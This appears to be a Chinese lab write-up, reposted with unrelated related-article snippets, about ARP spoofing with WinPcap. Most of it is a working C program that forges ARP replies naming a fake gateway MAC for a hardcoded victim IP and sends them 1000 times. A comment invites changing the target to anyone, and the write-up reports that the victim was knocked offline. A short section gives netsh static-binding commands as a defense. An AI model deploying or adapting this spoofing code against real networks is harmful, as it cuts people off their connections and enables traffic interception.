发送自修改数据包进行arp欺骗

一丶使用平台

对Microsoft Visual Studio 2010编译平台进行前期操作

项目-->**属性(alt+F7)

    配置属性-->清单工具-->输入和输出-->嵌入清单-->否

    配置属性-->C/C++-->常规-->附加包含目录-->

    配置属性-->链接器-->常规-->附加库目录-->

    配置属性-->链接器-->输入-->附加依赖项-->补       充“;Packet.lib;wpcap.lib;Ws2_32.lib;”

    配置属性-->C/C++-->预处理器-->预处理器定义-->补充“;HAVE_REMOTE

二丶源代码

部分代码使引用winpcap代码,内含库文件以及头包含文件

  主要代码 

// WinpCap Test.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"

#include <pcap.h>

int _tmain(int argc, _TCHAR* argv[])

{

pcap_if_t * allAdapters;//适配器列表

pcap_if_t * adapter;

pcap_t    * adapterHandle;//适配器句柄

u_char      packet[ 1020 ]; //待发送的数据封包

char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区

if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )

{//检索机器连接的所有网络适配器

fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );

return -1;

}

if( allAdapters == NULL )

{//不存在任何适配器

printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );

return 0;

}

int crtAdapter = 0;

for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)

{//遍历输入适配器信息(名称和描述信息)

printf( "\n%d.%s ", ++crtAdapter, adapter->name );

printf( "-- %s\n", adapter->description );

}

printf( "\n" );

//选择适配器

int adapterNumber;

printf( "Enter the adapter number between 1 and %d:", crtAdapter );

scanf_s( "%d", &adapterNumber );

if( adapterNumber < 1 || adapterNumber > crtAdapter )

{

printf( "\nAdapter number out of range.\n" );

pcap_freealldevs( allAdapters );// 释放适配器列表

return -1;

}

adapter = allAdapters;

for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )

adapter = adapter->next;

// 打开指定适配器

adapterHandle = pcap_open( adapter->name, // name of the adapter

65536,         // portion of the packet to capture

// 65536 guarantees that the whole

// packet will be captured

PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode

1000,             // read timeout - 1 millisecond

NULL,          // authentication on the remote machine

errorBuffer    // error buffer

);

if( adapterHandle == NULL )

{//指定适配器打开失败

fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );

// 释放适配器列表

pcap_freealldevs( allAdapters );

return -1;

}

pcap_freealldevs( allAdapters );//释放适配器列表

//创建数据封包

packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x61;    packet[5] = 0xe3;   // 被骗计算机的mac地址

packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x61;   packet[11] = 0xde;   // 自己的mac地址

packet[12] = 0x08;   packet[13] = 0x06;  // 以太网封装arp协议(不用动)

packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太网

packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP协议

packet[18] = 0x06;  // arp第3字段:代表第二层地址的长度

packet[19] = 0x04;  // arp第4字段:代表第三层地址的长度

packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段

packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的网关地址,

packet[28] = 0xac;   packet[29] = 0x1c; packet[30] = 0x0f;   packet[31] = 0xfe;    // 网关的ip,这里是172.28.15.254(在本实验室不用改)

packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x61;   packet[37] = 0xe3;  // 被骗计算机的mac地址

packet[38] = 0xac;   packet[39] = 0x1c; packet[40] = 0x0f;   packet[41] = 0x30;   // 被骗计算机的IP地址,这里是172.28.15.48  (想骗谁,这里就改成谁的IP)

//发送数据封包

for(int ssde=0;ssde<1000;ssde++)

{

pcap_sendpacket( adapterHandle, packet, 42);

Sleep(1000);

}

system( "PAUSE" );

return 0;

}

被骗ip 172.28.15.48          mac: c8-9c-dc-22-61-e3

网关: 172.28.15.254         mac:00-d0-f8-33-92-b1

自己:172.28.15.49          mac: c8-9c-dc-22-61-de

三丶实验结果

 使用wiresharke进行capturing  ARP数据包

受欺骗目标断开网络连接


四丶设置静态ip防止arp欺骗

 

静态绑定

C:\>netsh -c i i add neighbors 11 网关IP 网关mac

tip:输入这一条命令后大家使用arp -a可以发现网关条目变成了静态,与XP不同是,这种绑定在下一次启动仍然有效,也就是说,如果换了网关(比如换了路由了),那就需要使用如下命令清空这个静态绑定,然后重新绑定

清除静态绑定(这是一个重置操作.)

C:\>netsh i i reset

netsh i i show in

1、打开命令提示符窗口,然后输入netsh i i show in,然后回车,然后找到“本地连接”对应的 “Idx”

2、接着在CMD继续输入:netsh -c “i i” add neighbors 11 “网关IP” “Mac地址“,这里11是idx号。

3、再用arp -a命令查看一下就会发现已经绑定好了;同理,在Win7上用arp -d并不能完全的删除绑定,必须使用netsh -c "i i" delete neighbors IDX(IDX改为相应的数字)才可删除MAC地址绑定。

 1)输入arp -a 命令 查看网关的MAC网卡物理地址

 2)输入netsh i i show in 命令 查看 本地连接的idx编号

 3)输入netsh -c "i i" add neighbors 本地连接的idx “网关IP” “网关mac” 命令绑定

 4)输入arp

 

时间: 2024-10-01 03:16:16

发送自修改数据包进行arp欺骗的相关文章

发送和接收数据包

发送和接收数据包 原文:Game Networking系列,作者是Glenn Fiedler,专注于游戏网络编程相关工作多年. 概述 在之前的网游中的网络编程系列1:UDP vs. TCP中(推荐先看前面那篇),我们经过讨论得出:网游中传输数据应该使用UDP而不是TCP.我们选择UDP是为了不需要等待重发数据包,从而达到数据的实时性. 注意,因为接下来英文原文中所有的代码是C++写的,而我是个pythoner,我的计划是:通过理解文章,我用python实现UDP收发数据包.虚拟连接(原文后两章的

通过iptables 修改数据包TTL,来隐藏traceroute 时的路由跳数

原理 程序利用增加存活时间(TTL)值来实现其功能的.每当数据包经过一个路由器,其存活时间就会减1.当其存活时间是0时,主机便取消数据包,并发送一个ICMP TTL数据包给原数据包的发出者. 程序发出的首3个数据包TTL值是1,之后3个是2,如此类推,它便得到一连串数据包路径.注意IP不保证每个数据包走的路径都一样. 实现 主叫方首先发出 TTL=1 的 UDP 数据包,第一个路由器将 TTL 减1得0后就不再继续转发此数据包,而是返回一个 ICMP 超时报文,主叫方从超时报文中即可提取出数据包

OOBInline属性为false,server接收了client通过sendUrgentData 发送的紧急数据包

 前几天前置上线遇到一问题,大体情况是这样有一个加密服务,对外暴露tcp通讯接口,client端建立连接池,启N个连接(长连接),每次报文通讯之前先通过client端的sendUrgentData(0XFF)方法发送心跳包,用以检测信路是否正常.然后计算待发送报文的长度,将其转换成byte拼在发送报文前面(3字节长)发送报文,服务端read3字节报文并将其转换成报文长度,再根据该长度read定长的报文.测试环境OK没啥问题,上线时出问题了,每次读取的报文长度计算出来为16711680,最后发

从零开始学安全(四十二)●利用Wireshark分析ARP协议数据包

wireshark:是一个网络封包分析软件.网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料.Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,是目前全世界最广泛的网络封包分析软件 什么是ARP协议    协议分析篇第一个要研究的就是ARP协议.ARP(Address Resolution Protocol,地址解析协议)用于将IP地址解析为物理地址(MAC地址).这里之所以需要使用MAC地址,是因为网络中用于连接各个设备的交换机使用了内容可寻址

010 使用netmap函数接管网卡,接收数据包,回应ARP请求

一.本文目的: 上一节中,我们已经在CentOS 6.7 上安装好了netmap,也能接收和发送包了,这节我们来调用netmap中的API,接管网卡,对网卡上收到的数据包做分析,并回应ARP请求. 二.netmap API简要介绍: 1.netmap API 主要包含在两个头文件中:netmap.h和netmap_user.h.在netmap/sys/net/目录下,其中netmap_user.h调用netmap.h. 2.netmap API一共七八个函数调用:nm_open()生成文件描述符

Linux命令(35):ping命令-向网络主机发送数据包

ping命令 功能说明 ping是最常用的网络连接命令,ping会向指定的网络主机发送特殊网络数据包IMCP ECHO_REQUEST.多数网络设备收到该数据包会做出回应,通过此方法即可难网络连接是否正常,用法如下: ping [参数] [主机名或IP] 常用参数 选项 说明 -c 发送指定数据包后停止 -s 指定发送的数据字节数,预设值是56 -t 设置存活数值TTL的大小 -i 设置秒数,每隔几秒发送一次数据包,默认是1秒 示例                     测试连接性 [[ema

“ping”命令的原理就是向对方主机发送UDP数据包,HTTP在每次请求结束后都会主动释放连接,因此HTTP连接是一种“短连接”

Socket  是一套建立在TCP/IP协议上的接口不是一个协议 应用层:  HTTP  FTP  SMTP  Web 传输层:  在两个应用程序之间提供了逻辑而不是物理的通信(TCP  UDP) TCP  可靠的  面向连接的服务 UDP  不可靠的  无连接的服务 只要底层实现TCP IP协议  都可以用socket进行通信 1.TCP和UDP 1.1 TCP连接 TCP协议能为应用程序提供可靠的通信连接,使一台计算机发出的字节流无差错地发往网络上的其他计算机,对可靠性要求高的数据通信系统往

Python黑客编程ARP欺骗

Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听.篡改.重放.钓鱼等攻击方式. 在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理. 3.1.1 ARP和ARP欺骗原理 ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接

Python黑帽编程 3.1 ARP欺骗

Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听.篡改.重放.钓鱼等攻击方式. 在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理. 3.1.1 ARP和ARP欺骗原理 ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接